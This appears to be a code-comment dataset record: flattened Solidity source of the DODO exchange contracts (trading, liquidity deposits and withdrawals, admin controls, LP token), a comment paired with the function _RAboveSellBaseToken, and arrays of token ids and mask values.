onlyOwner notClosed { _CLOSED_ = true; _DEPOSIT_QUOTE_ALLOWED_ = false; _DEPOSIT_BASE_ALLOWED_ = false; _TRADE_ALLOWED_ = false; uint256 totalBaseCapital = getTotalBaseCapital(); uint256 totalQuoteCapital = getTotalQuoteCapital(); if (_QUOTE_BALANCE_ > _TARGET_QUOTE_TOKEN_AMOUNT_) { uint256 spareQuote = _QUOTE_BALANCE_.sub(_TARGET_QUOTE_TOKEN_AMOUNT_); _BASE_CAPITAL_RECEIVE_QUOTE_ = DecimalMath.divFloor(spareQuote, totalBaseCapital); } else { _TARGET_QUOTE_TOKEN_AMOUNT_ = _QUOTE_BALANCE_; } if (_BASE_BALANCE_ > _TARGET_BASE_TOKEN_AMOUNT_) { uint256 spareBase = _BASE_BALANCE_.sub(_TARGET_BASE_TOKEN_AMOUNT_); _QUOTE_CAPITAL_RECEIVE_BASE_ = DecimalMath.divFloor(spareBase, totalQuoteCapital); } else { _TARGET_BASE_TOKEN_AMOUNT_ = _BASE_BALANCE_; } _R_STATUS_ = Types.RStatus.ONE; } // claim remaining assets after final settlement function claimAssets() external preventReentrant { require(_CLOSED_, "DODO_NOT_CLOSED"); require(!_CLAIMED_[msg.sender], "ALREADY_CLAIMED"); _CLAIMED_[msg.sender] = true; uint256 quoteCapital = getQuoteCapitalBalanceOf(msg.sender); uint256 baseCapital = getBaseCapitalBalanceOf(msg.sender); uint256 quoteAmount = 0; if (quoteCapital > 0) { quoteAmount = _TARGET_QUOTE_TOKEN_AMOUNT_.mul(quoteCapital).div(getTotalQuoteCapital()); } uint256 baseAmount = 0; if (baseCapital > 0) { baseAmount = _TARGET_BASE_TOKEN_AMOUNT_.mul(baseCapital).div(getTotalBaseCapital()); } _TARGET_QUOTE_TOKEN_AMOUNT_ = _TARGET_QUOTE_TOKEN_AMOUNT_.sub(quoteAmount); _TARGET_BASE_TOKEN_AMOUNT_ = _TARGET_BASE_TOKEN_AMOUNT_.sub(baseAmount); quoteAmount = quoteAmount.add(DecimalMath.mul(baseCapital, _BASE_CAPITAL_RECEIVE_QUOTE_)); baseAmount = baseAmount.add(DecimalMath.mul(quoteCapital, _QUOTE_CAPITAL_RECEIVE_BASE_)); _baseTokenTransferOut(msg.sender, baseAmount); _quoteTokenTransferOut(msg.sender, quoteAmount); IDODOLpToken(_BASE_CAPITAL_TOKEN_).burn(msg.sender, baseCapital); IDODOLpToken(_QUOTE_CAPITAL_TOKEN_).burn(msg.sender, quoteCapital); emit ClaimAssets(msg.sender, baseAmount, quoteAmount); return; } // in case someone transfer to contract directly function retrieve(address token, uint256 amount) external onlyOwner { if (token == _BASE_TOKEN_) { require( IERC20(_BASE_TOKEN_).balanceOf(address(this)) >= _BASE_BALANCE_.add(amount), "DODO_BASE_BALANCE_NOT_ENOUGH" ); } if (token == _QUOTE_TOKEN_) { require( IERC20(_QUOTE_TOKEN_).balanceOf(address(this)) >= _QUOTE_BALANCE_.add(amount), "DODO_QUOTE_BALANCE_NOT_ENOUGH" ); } IERC20(token).safeTransfer(msg.sender, amount); } } // File: contracts/impl/Trader.sol /** * @title Trader * @author DODO Breeder * * @notice Functions for trader operations */ contract Trader is Storage, Pricing, Settlement { using SafeMath for uint256; // ============ Events ============ event SellBaseToken(address indexed seller, uint256 payBase, uint256 receiveQuote); event BuyBaseToken(address indexed buyer, uint256 receiveBase, uint256 payQuote); event ChargeMaintainerFee(address indexed maintainer, bool isBaseToken, uint256 amount); // ============ Modifiers ============ modifier tradeAllowed() { require(_TRADE_ALLOWED_, "TRADE_NOT_ALLOWED"); _; } modifier buyingAllowed() { require(_BUYING_ALLOWED_, "BUYING_NOT_ALLOWED"); _; } modifier sellingAllowed() { require(_SELLING_ALLOWED_, "SELLING_NOT_ALLOWED"); _; } modifier gasPriceLimit() { require(tx.gasprice <= _GAS_PRICE_LIMIT_, "GAS_PRICE_EXCEED"); _; } // ============ Trade Functions ============ function sellBaseToken( uint256 amount, uint256 minReceiveQuote, bytes calldata data ) external tradeAllowed sellingAllowed gasPriceLimit preventReentrant returns (uint256) { // query price ( uint256 receiveQuote, uint256 lpFeeQuote, uint256 mtFeeQuote, Types.RStatus newRStatus, uint256 newQuoteTarget, uint256 newBaseTarget ) = _querySellBaseToken(amount); require(receiveQuote >= minReceiveQuote, "SELL_BASE_RECEIVE_NOT_ENOUGH"); // settle assets _quoteTokenTransferOut(msg.sender, receiveQuote); if (data.length > 0) { IDODOCallee(msg.sender).dodoCall(false, amount, receiveQuote, data); } _baseTokenTransferIn(msg.sender, amount); if (mtFeeQuote != 0) { _quoteTokenTransferOut(_MAINTAINER_, mtFeeQuote); emit ChargeMaintainerFee(_MAINTAINER_, false, mtFeeQuote); } // update TARGET if (_TARGET_QUOTE_TOKEN_AMOUNT_ != newQuoteTarget) { _TARGET_QUOTE_TOKEN_AMOUNT_ = newQuoteTarget; } if (_TARGET_BASE_TOKEN_AMOUNT_ != newBaseTarget) { _TARGET_BASE_TOKEN_AMOUNT_ = newBaseTarget; } if (_R_STATUS_ != newRStatus) { _R_STATUS_ = newRStatus; } _donateQuoteToken(lpFeeQuote); emit SellBaseToken(msg.sender, amount, receiveQuote); return receiveQuote; } function buyBaseToken( uint256 amount, uint256 maxPayQuote, bytes calldata data ) external tradeAllowed buyingAllowed gasPriceLimit preventReentrant returns (uint256) { // query price ( uint256 payQuote, uint256 lpFeeBase, uint256 mtFeeBase, Types.RStatus newRStatus, uint256 newQuoteTarget, uint256 newBaseTarget ) = _queryBuyBaseToken(amount); require(payQuote <= maxPayQuote, "BUY_BASE_COST_TOO_MUCH"); // settle assets _baseTokenTransferOut(msg.sender, amount); if (data.length > 0) { IDODOCallee(msg.sender).dodoCall(true, amount, payQuote, data); } _quoteTokenTransferIn(msg.sender, payQuote); if (mtFeeBase != 0) { _baseTokenTransferOut(_MAINTAINER_, mtFeeBase); emit ChargeMaintainerFee(_MAINTAINER_, true, mtFeeBase); } // update TARGET if (_TARGET_QUOTE_TOKEN_AMOUNT_ != newQuoteTarget) { _TARGET_QUOTE_TOKEN_AMOUNT_ = newQuoteTarget; } if (_TARGET_BASE_TOKEN_AMOUNT_ != newBaseTarget) { _TARGET_BASE_TOKEN_AMOUNT_ = newBaseTarget; } if (_R_STATUS_ != newRStatus) { _R_STATUS_ = newRStatus; } _donateBaseToken(lpFeeBase); emit BuyBaseToken(msg.sender, amount, payQuote); return payQuote; } // ============ Query Functions ============ function querySellBaseToken(uint256 amount) external view returns (uint256 receiveQuote) { (receiveQuote, , , , , ) = _querySellBaseToken(amount); return receiveQuote; } function queryBuyBaseToken(uint256 amount) external view returns (uint256 payQuote) { (payQuote, , , , , ) = _queryBuyBaseToken(amount); return payQuote; } function _querySellBaseToken(uint256 amount) internal view returns ( uint256 receiveQuote, uint256 lpFeeQuote, uint256 mtFeeQuote, Types.RStatus newRStatus, uint256 newQuoteTarget, uint256 newBaseTarget ) { (newBaseTarget, newQuoteTarget) = getExpectedTarget(); uint256 sellBaseAmount = amount; if (_R_STATUS_ == Types.RStatus.ONE) { // case 1: R=1 // R falls below one receiveQuote = _ROneSellBaseToken(sellBaseAmount, newQuoteTarget); newRStatus = Types.RStatus.BELOW_ONE; } else if (_R_STATUS_ == Types.RStatus.ABOVE_ONE) { uint256 backToOnePayBase = newBaseTarget.sub(_BASE_BALANCE_); uint256 backToOneReceiveQuote = _QUOTE_BALANCE_.sub(newQuoteTarget); // case 2: R>1 // complex case, R status depends on trading amount if (sellBaseAmount < backToOnePayBase) { // case 2.1: R status do not change receiveQuote = _RAboveSellBaseToken(sellBaseAmount, _BASE_BALANCE_, newBaseTarget); newRStatus = Types.RStatus.ABOVE_ONE; if (receiveQuote > backToOneReceiveQuote) { // [Important corner case!] may enter this branch when some precision problem happens. And consequently contribute to negative spare quote amount // to make sure spare quote>=0, mannually set receiveQuote=backToOneReceiveQuote receiveQuote = backToOneReceiveQuote; } } else if (sellBaseAmount == backToOnePayBase) { // case 2.2: R status changes to ONE receiveQuote = backToOneReceiveQuote; newRStatus = Types.RStatus.ONE; } else { // case 2.3: R status changes to BELOW_ONE receiveQuote = backToOneReceiveQuote.add( _ROneSellBaseToken(sellBaseAmount.sub(backToOnePayBase), newQuoteTarget) ); newRStatus = Types.RStatus.BELOW_ONE; } } else { // _R_STATUS_ == Types.RStatus.BELOW_ONE // case 3: R<1 receiveQuote = _RBelowSellBaseToken(sellBaseAmount, _QUOTE_BALANCE_, newQuoteTarget); newRStatus = Types.RStatus.BELOW_ONE; } // count fees lpFeeQuote = DecimalMath.mul(receiveQuote, _LP_FEE_RATE_); mtFeeQuote = DecimalMath.mul(receiveQuote, _MT_FEE_RATE_); receiveQuote = receiveQuote.sub(lpFeeQuote).sub(mtFeeQuote); return (receiveQuote, lpFeeQuote, mtFeeQuote, newRStatus, newQuoteTarget, newBaseTarget); } function _queryBuyBaseToken(uint256 amount) internal view returns ( uint256 payQuote, uint256 lpFeeBase, uint256 mtFeeBase, Types.RStatus newRStatus, uint256 newQuoteTarget, uint256 newBaseTarget ) { (newBaseTarget, newQuoteTarget) = getExpectedTarget(); // charge fee from user receive amount lpFeeBase = DecimalMath.mul(amount, _LP_FEE_RATE_); mtFeeBase = DecimalMath.mul(amount, _MT_FEE_RATE_); uint256 buyBaseAmount = amount.add(lpFeeBase).add(mtFeeBase); if (_R_STATUS_ == Types.RStatus.ONE) { // case 1: R=1 payQuote = _ROneBuyBaseToken(buyBaseAmount, newBaseTarget); newRStatus = Types.RStatus.ABOVE_ONE; } else if (_R_STATUS_ == Types.RStatus.ABOVE_ONE) { // case 2: R>1 payQuote = _RAboveBuyBaseToken(buyBaseAmount, _BASE_BALANCE_, newBaseTarget); newRStatus = Types.RStatus.ABOVE_ONE; } else if (_R_STATUS_ == Types.RStatus.BELOW_ONE) { uint256 backToOnePayQuote = newQuoteTarget.sub(_QUOTE_BALANCE_); uint256 backToOneReceiveBase = _BASE_BALANCE_.sub(newBaseTarget); // case 3: R<1 // complex case, R status may change if (buyBaseAmount < backToOneReceiveBase) { // case 3.1: R status do not change // no need to check payQuote because spare base token must be greater than zero payQuote = _RBelowBuyBaseToken(buyBaseAmount, _QUOTE_BALANCE_, newQuoteTarget); newRStatus = Types.RStatus.BELOW_ONE; } else if (buyBaseAmount == backToOneReceiveBase) { // case 3.2: R status changes to ONE payQuote = backToOnePayQuote; newRStatus = Types.RStatus.ONE; } else { // case 3.3: R status changes to ABOVE_ONE payQuote = backToOnePayQuote.add( _ROneBuyBaseToken(buyBaseAmount.sub(backToOneReceiveBase), newBaseTarget) ); newRStatus = Types.RStatus.ABOVE_ONE; } } return (payQuote, lpFeeBase, mtFeeBase, newRStatus, newQuoteTarget, newBaseTarget); } } // File: contracts/impl/LiquidityProvider.sol /** * @title LiquidityProvider * @author DODO Breeder * * @notice Functions for liquidity provider operations */ contract LiquidityProvider is Storage, Pricing, Settlement { using SafeMath for uint256; // ============ Events ============ event Deposit( address indexed payer, address indexed receiver, bool isBaseToken, uint256 amount, uint256 lpTokenAmount ); event Withdraw( address indexed payer, address indexed receiver, bool isBaseToken, uint256 amount, uint256 lpTokenAmount ); event ChargePenalty(address indexed payer, bool isBaseToken, uint256 amount); // ============ Modifiers ============ modifier depositQuoteAllowed() { require(_DEPOSIT_QUOTE_ALLOWED_, "DEPOSIT_QUOTE_NOT_ALLOWED"); _; } modifier depositBaseAllowed() { require(_DEPOSIT_BASE_ALLOWED_, "DEPOSIT_BASE_NOT_ALLOWED"); _; } modifier dodoNotClosed() { require(!_CLOSED_, "DODO_CLOSED"); _; } // ============ Routine Functions ============ function withdrawBase(uint256 amount) external returns (uint256) { return withdrawBaseTo(msg.sender, amount); } function depositBase(uint256 amount) external returns (uint256) { return depositBaseTo(msg.sender, amount); } function withdrawQuote(uint256 amount) external returns (uint256) { return withdrawQuoteTo(msg.sender, amount); } function depositQuote(uint256 amount) external returns (uint256) { return depositQuoteTo(msg.sender, amount); } function withdrawAllBase() external returns (uint256) { return withdrawAllBaseTo(msg.sender); } function withdrawAllQuote() external returns (uint256) { return withdrawAllQuoteTo(msg.sender); } // ============ Deposit Functions ============ function depositQuoteTo(address to, uint256 amount) public preventReentrant depositQuoteAllowed returns (uint256) { (, uint256 quoteTarget) = getExpectedTarget(); uint256 totalQuoteCapital = getTotalQuoteCapital(); uint256 capital = amount; if (totalQuoteCapital == 0) { // give remaining quote token to lp as a gift capital = amount.add(quoteTarget); } else if (quoteTarget > 0) { capital = amount.mul(totalQuoteCapital).div(quoteTarget); } // settlement _quoteTokenTransferIn(msg.sender, amount); _mintQuoteCapital(to, capital); _TARGET_QUOTE_TOKEN_AMOUNT_ = _TARGET_QUOTE_TOKEN_AMOUNT_.add(amount); emit Deposit(msg.sender, to, false, amount, capital); return capital; } function depositBaseTo(address to, uint256 amount) public preventReentrant depositBaseAllowed returns (uint256) { (uint256 baseTarget, ) = getExpectedTarget(); uint256 totalBaseCapital = getTotalBaseCapital(); uint256 capital = amount; if (totalBaseCapital == 0) { // give remaining base token to lp as a gift capital = amount.add(baseTarget); } else if (baseTarget > 0) { capital = amount.mul(totalBaseCapital).div(baseTarget); } // settlement _baseTokenTransferIn(msg.sender, amount); _mintBaseCapital(to, capital); _TARGET_BASE_TOKEN_AMOUNT_ = _TARGET_BASE_TOKEN_AMOUNT_.add(amount); emit Deposit(msg.sender, to, true, amount, capital); return capital; } // ============ Withdraw Functions ============ function withdrawQuoteTo(address to, uint256 amount) public preventReentrant dodoNotClosed returns (uint256) { // calculate capital (, uint256 quoteTarget) = getExpectedTarget(); uint256 totalQuoteCapital = getTotalQuoteCapital(); require(totalQuoteCapital > 0, "NO_QUOTE_LP"); uint256 requireQuoteCapital = amount.mul(totalQuoteCapital).divCeil(quoteTarget); require( requireQuoteCapital <= getQuoteCapitalBalanceOf(msg.sender), "LP_QUOTE_CAPITAL_BALANCE_NOT_ENOUGH" ); // handle penalty, penalty may exceed amount uint256 penalty = getWithdrawQuotePenalty(amount); require(penalty < amount, "PENALTY_EXCEED"); // settlement _TARGET_QUOTE_TOKEN_AMOUNT_ = _TARGET_QUOTE_TOKEN_AMOUNT_.sub(amount); _burnQuoteCapital(msg.sender, requireQuoteCapital); _quoteTokenTransferOut(to, amount.sub(penalty)); _donateQuoteToken(penalty); emit Withdraw(msg.sender, to, false, amount.sub(penalty), requireQuoteCapital); emit ChargePenalty(msg.sender, false, penalty); return amount.sub(penalty); } function withdrawBaseTo(address to, uint256 amount) public preventReentrant dodoNotClosed returns (uint256) { // calculate capital (uint256 baseTarget, ) = getExpectedTarget(); uint256 totalBaseCapital = getTotalBaseCapital(); require(totalBaseCapital > 0, "NO_BASE_LP"); uint256 requireBaseCapital = amount.mul(totalBaseCapital).divCeil(baseTarget); require( requireBaseCapital <= getBaseCapitalBalanceOf(msg.sender), "LP_BASE_CAPITAL_BALANCE_NOT_ENOUGH" ); // handle penalty, penalty may exceed amount uint256 penalty = getWithdrawBasePenalty(amount); require(penalty <= amount, "PENALTY_EXCEED"); // settlement _TARGET_BASE_TOKEN_AMOUNT_ = _TARGET_BASE_TOKEN_AMOUNT_.sub(amount); _burnBaseCapital(msg.sender, requireBaseCapital); _baseTokenTransferOut(to, amount.sub(penalty)); _donateBaseToken(penalty); emit Withdraw(msg.sender, to, true, amount.sub(penalty), requireBaseCapital); emit ChargePenalty(msg.sender, true, penalty); return amount.sub(penalty); } // ============ Withdraw all Functions ============ function withdrawAllQuoteTo(address to) public preventReentrant dodoNotClosed returns (uint256) { uint256 withdrawAmount = getLpQuoteBalance(msg.sender); uint256 capital = getQuoteCapitalBalanceOf(msg.sender); // handle penalty, penalty may exceed amount uint256 penalty = getWithdrawQuotePenalty(withdrawAmount); require(penalty <= withdrawAmount, "PENALTY_EXCEED"); // settlement _TARGET_QUOTE_TOKEN_AMOUNT_ = _TARGET_QUOTE_TOKEN_AMOUNT_.sub(withdrawAmount); _burnQuoteCapital(msg.sender, capital); _quoteTokenTransferOut(to, withdrawAmount.sub(penalty)); _donateQuoteToken(penalty); emit Withdraw(msg.sender, to, false, withdrawAmount, capital); emit ChargePenalty(msg.sender, false, penalty); return withdrawAmount.sub(penalty); } function withdrawAllBaseTo(address to) public preventReentrant dodoNotClosed returns (uint256) { uint256 withdrawAmount = getLpBaseBalance(msg.sender); uint256 capital = getBaseCapitalBalanceOf(msg.sender); // handle penalty, penalty may exceed amount uint256 penalty = getWithdrawBasePenalty(withdrawAmount); require(penalty <= withdrawAmount, "PENALTY_EXCEED"); // settlement _TARGET_BASE_TOKEN_AMOUNT_ = _TARGET_BASE_TOKEN_AMOUNT_.sub(withdrawAmount); _burnBaseCapital(msg.sender, capital); _baseTokenTransferOut(to, withdrawAmount.sub(penalty)); _donateBaseToken(penalty); emit Withdraw(msg.sender, to, true, withdrawAmount, capital); emit ChargePenalty(msg.sender, true, penalty); return withdrawAmount.sub(penalty); } // ============ Helper Functions ============ function _mintBaseCapital(address user, uint256 amount) internal { IDODOLpToken(_BASE_CAPITAL_TOKEN_).mint(user, amount); } function _mintQuoteCapital(address user, uint256 amount) internal { IDODOLpToken(_QUOTE_CAPITAL_TOKEN_).mint(user, amount); } function _burnBaseCapital(address user, uint256 amount) internal { IDODOLpToken(_BASE_CAPITAL_TOKEN_).burn(user, amount); } function _burnQuoteCapital(address user, uint256 amount) internal { IDODOLpToken(_QUOTE_CAPITAL_TOKEN_).burn(user, amount); } // ============ Getter Functions ============ function getLpBaseBalance(address lp) public view returns (uint256 lpBalance) { uint256 totalBaseCapital = getTotalBaseCapital(); (uint256 baseTarget, ) = getExpectedTarget(); if (totalBaseCapital == 0) { return 0; } lpBalance = getBaseCapitalBalanceOf(lp).mul(baseTarget).div(totalBaseCapital); return lpBalance; } function getLpQuoteBalance(address lp) public view returns (uint256 lpBalance) { uint256 totalQuoteCapital = getTotalQuoteCapital(); (, uint256 quoteTarget) = getExpectedTarget(); if (totalQuoteCapital == 0) { return 0; } lpBalance = getQuoteCapitalBalanceOf(lp).mul(quoteTarget).div(totalQuoteCapital); return lpBalance; } function getWithdrawQuotePenalty(uint256 amount) public view returns (uint256 penalty) { require(amount <= _QUOTE_BALANCE_, "DODO_QUOTE_BALANCE_NOT_ENOUGH"); if (_R_STATUS_ == Types.RStatus.BELOW_ONE) { uint256 spareBase = _BASE_BALANCE_.sub(_TARGET_BASE_TOKEN_AMOUNT_); uint256 price = getOraclePrice(); uint256 fairAmount = DecimalMath.mul(spareBase, price); uint256 targetQuote = DODOMath._SolveQuadraticFunctionForTarget( _QUOTE_BALANCE_, _K_, fairAmount ); // if amount = _QUOTE_BALANCE_, div error uint256 targetQuoteWithWithdraw = DODOMath._SolveQuadraticFunctionForTarget( _QUOTE_BALANCE_.sub(amount), _K_, fairAmount ); return targetQuote.sub(targetQuoteWithWithdraw.add(amount)); } else { return 0; } } function getWithdrawBasePenalty(uint256 amount) public view returns (uint256 penalty) { require(amount <= _BASE_BALANCE_, "DODO_BASE_BALANCE_NOT_ENOUGH"); if (_R_STATUS_ == Types.RStatus.ABOVE_ONE) { uint256 spareQuote = _QUOTE_BALANCE_.sub(_TARGET_QUOTE_TOKEN_AMOUNT_); uint256 price = getOraclePrice(); uint256 fairAmount = DecimalMath.divFloor(spareQuote, price); uint256 targetBase = DODOMath._SolveQuadraticFunctionForTarget( _BASE_BALANCE_, _K_, fairAmount ); // if amount = _BASE_BALANCE_, div error uint256 targetBaseWithWithdraw = DODOMath._SolveQuadraticFunctionForTarget( _BASE_BALANCE_.sub(amount), _K_, fairAmount ); return targetBase.sub(targetBaseWithWithdraw.add(amount)); } else { return 0; } } } // File: contracts/impl/Admin.sol /** * @title Admin * @author DODO Breeder * * @notice Functions for admin operations */ contract Admin is Storage { // ============ Events ============ event UpdateGasPriceLimit(uint256 oldGasPriceLimit, uint256 newGasPriceLimit); event UpdateLiquidityProviderFeeRate( uint256 oldLiquidityProviderFeeRate, uint256 newLiquidityProviderFeeRate ); event UpdateMaintainerFeeRate(uint256 oldMaintainerFeeRate, uint256 newMaintainerFeeRate); event UpdateK(uint256 oldK, uint256 newK); // ============ Params Setting Functions ============ function setOracle(address newOracle) external onlyOwner { _ORACLE_ = newOracle; } function setSupervisor(address newSupervisor) external onlyOwner { _SUPERVISOR_ = newSupervisor; } function setMaintainer(address newMaintainer) external onlyOwner { _MAINTAINER_ = newMaintainer; } function setLiquidityProviderFeeRate(uint256 newLiquidityPorviderFeeRate) external onlyOwner { emit UpdateLiquidityProviderFeeRate(_LP_FEE_RATE_, newLiquidityPorviderFeeRate); _LP_FEE_RATE_ = newLiquidityPorviderFeeRate; _checkDODOParameters(); } function setMaintainerFeeRate(uint256 newMaintainerFeeRate) external onlyOwner { emit UpdateMaintainerFeeRate(_MT_FEE_RATE_, newMaintainerFeeRate); _MT_FEE_RATE_ = newMaintainerFeeRate; _checkDODOParameters(); } function setK(uint256 newK) external onlyOwner { emit UpdateK(_K_, newK); _K_ = newK; _checkDODOParameters(); } function setGasPriceLimit(uint256 newGasPriceLimit) external onlySupervisorOrOwner { emit UpdateGasPriceLimit(_GAS_PRICE_LIMIT_, newGasPriceLimit); _GAS_PRICE_LIMIT_ = newGasPriceLimit; } // ============ System Control Functions ============ function disableTrading() external onlySupervisorOrOwner { _TRADE_ALLOWED_ = false; } function enableTrading() external onlyOwner notClosed { _TRADE_ALLOWED_ = true; } function disableQuoteDeposit() external onlySupervisorOrOwner { _DEPOSIT_QUOTE_ALLOWED_ = false; } function enableQuoteDeposit() external onlyOwner notClosed { _DEPOSIT_QUOTE_ALLOWED_ = true; } function disableBaseDeposit() external onlySupervisorOrOwner { _DEPOSIT_BASE_ALLOWED_ = false; } function enableBaseDeposit() external onlyOwner notClosed { _DEPOSIT_BASE_ALLOWED_ = true; } // ============ Advanced Control Functions ============ function disableBuying() external onlySupervisorOrOwner { _BUYING_ALLOWED_ = false; } function enableBuying() external onlyOwner notClosed { _BUYING_ALLOWED_ = true; } function disableSelling() external onlySupervisorOrOwner { _SELLING_ALLOWED_ = false; } function enableSelling() external onlyOwner notClosed { _SELLING_ALLOWED_ = true; } function setBaseBalanceLimit(uint256 newBaseBalanceLimit) external onlyOwner notClosed { _BASE_BALANCE_LIMIT_ = newBaseBalanceLimit; } function setQuoteBalanceLimit(uint256 newQuoteBalanceLimit) external onlyOwner notClosed { _QUOTE_BALANCE_LIMIT_ = newQuoteBalanceLimit; } } // File: contracts/lib/Ownable.sol /** * @title Ownable * @author DODO Breeder * * @notice Ownership related functions */ contract Ownable { address public _OWNER_; address public _NEW_OWNER_; // ============ Events ============ event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); // ============ Modifiers ============ modifier onlyOwner() { require(msg.sender == _OWNER_, "NOT_OWNER"); _; } // ============ Functions ============ constructor() internal { _OWNER_ = msg.sender; emit OwnershipTransferred(address(0), _OWNER_); } function transferOwnership(address newOwner) external onlyOwner { require(newOwner != address(0), "INVALID_OWNER"); emit OwnershipTransferPrepared(_OWNER_, newOwner); _NEW_OWNER_ = newOwner; } function claimOwnership() external { require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM"); emit OwnershipTransferred(_OWNER_, _NEW_OWNER_); _OWNER_ = _NEW_OWNER_; _NEW_OWNER_ = address(0); } } // File: contracts/impl/DODOLpToken.sol /** * @title DODOLpToken * @author DODO Breeder * * @notice Tokenize liquidity pool assets. An ordinary ERC20 contract with mint and burn functions */ contract DODOLpToken is Ownable { using SafeMath for uint256; string public symbol = "DLP"; address public originToken; uint256 public totalSupply; mapping(address => uint256) internal balances; mapping(address => mapping(address => uint256)) internal allowed; // ============ Events ============ event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); event Mint(address indexed user, uint256 value); event Burn(address indexed user, uint256 value); // ============ Functions ============ constructor(address _originToken) public { originToken = _originToken; } function name() public view returns (string memory) { string memory lpTokenSuffix = "_DODO_LP_TOKEN_"; return string(abi.encodePacked(IERC20(originToken).name(), lpTokenSuffix)); } function decimals() public view returns (uint8) { return IERC20(originToken).decimals(); } /** * @dev transfer token for a specified address * @param to The address to transfer to. * @param amount The amount to be transferred. */ function transfer(address to, uint256 amount) public returns (bool) { require(amount <= balances[msg.sender], "BALANCE_NOT_ENOUGH"); balances[msg.sender] = balances[msg.sender].sub(amount); balances[to] = balances[to].add(amount); emit Transfer(msg.sender, to, amount); return true; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the the balance of. * @return balance An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) external view returns (uint256 balance) { return balances[owner]; } /** * @dev Transfer tokens from one address to another * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param amount uint256 the amount of tokens to be transferred */ function transferFrom( address from, address to, uint256 amount ) public returns (bool) { require(amount <= balances[from], "BALANCE_NOT_ENOUGH"); require(amount <= allowed[from][msg.sender], "ALLOWANCE_NOT_ENOUGH"); balances[from] = balances[from].sub(amount); balances[to] = balances[to].add(amount); allowed[from][msg.sender] = allowed[from][msg.sender].sub(amount); emit Transfer(from, to, amount); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param spender The address which will spend the funds. * @param amount The amount of tokens to be spent. */ function approve(address spender, uint256 amount) public returns (bool) { allowed[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return allowed[owner][spender]; } function mint(address user, uint256 value) external onlyOwner { balances[user] = balances[user].add(value); totalSupply = totalSupply.add(value); emit Mint(user, value); emit Transfer(address(0), user, value); } function burn(address user, uint256 value) external onlyOwner { balances[user] = balances[user].sub(value); totalSupply = totalSupply.sub(value); emit Burn(user, value); emit Transfer(user, address(0), value); } } // File: contracts/dodo.sol /** * @title DODO * @author DODO Breeder * * @notice Entrance for users */ contract DODO is Admin, Trader, LiquidityProvider { function init( address owner, address supervisor, address maintainer, address baseToken, address quoteToken, address oracle, uint256 lpFeeRate, uint256 mtFeeRate, uint256 k, uint256 gasPriceLimit ) external { require(!_INITIALIZED_, "DODO_INITIALIZED"); _INITIALIZED_ = true; // constructor _OWNER_ = owner; emit OwnershipTransferred(address(0), _OWNER_); _SUPERVISOR_ = supervisor; _MAINTAINER_ = maintainer; _BASE_TOKEN_ = baseToken; _QUOTE_TOKEN_ = quoteToken; _ORACLE_ = oracle; _DEPOSIT_BASE_ALLOWED_ = false; _DEPOSIT_QUOTE_ALLOWED_ = false; _TRADE_ALLOWED_ = false; _GAS_PRICE_LIMIT_ = gasPriceLimit; // Advanced controls are disabled by default _BUYING_ALLOWED_ = true; _SELLING_ALLOWED_ = true; uint256 MAX_INT = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; _BASE_BALANCE_LIMIT_ = MAX_INT; _QUOTE_BALANCE_LIMIT_ = MAX_INT; _LP_FEE_RATE_ = lpFeeRate; _MT_FEE_RATE_ = mtFeeRate; _K_ = k; _R_STATUS_ = Types.RStatus.ONE; _BASE_CAPITAL_TOKEN_ = address(new DODOLpToken(_BASE_TOKEN_)); _QUOTE_CAPITAL_TOKEN_ = address(new DODOLpToken(_QUOTE_TOKEN_)); _checkDODOParameters(); } }
here we don't require B1 <= targetBaseAmount Because it is limited at upper function See Trader.querySellBaseToken
function _RAboveSellBaseToken( uint256 amount, uint256 baseBalance, uint256 targetBaseAmount ) internal view returns (uint256 receiveQuoteToken) { uint256 B1 = baseBalance.add(amount); return _RAboveIntegrate(targetBaseAmount, B1, baseBalance); }
2,176,708
[ 1, 14852, 732, 2727, 1404, 2583, 605, 21, 1648, 1018, 2171, 6275, 15191, 518, 353, 13594, 622, 3854, 445, 2164, 2197, 765, 18, 2271, 55, 1165, 2171, 1345, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
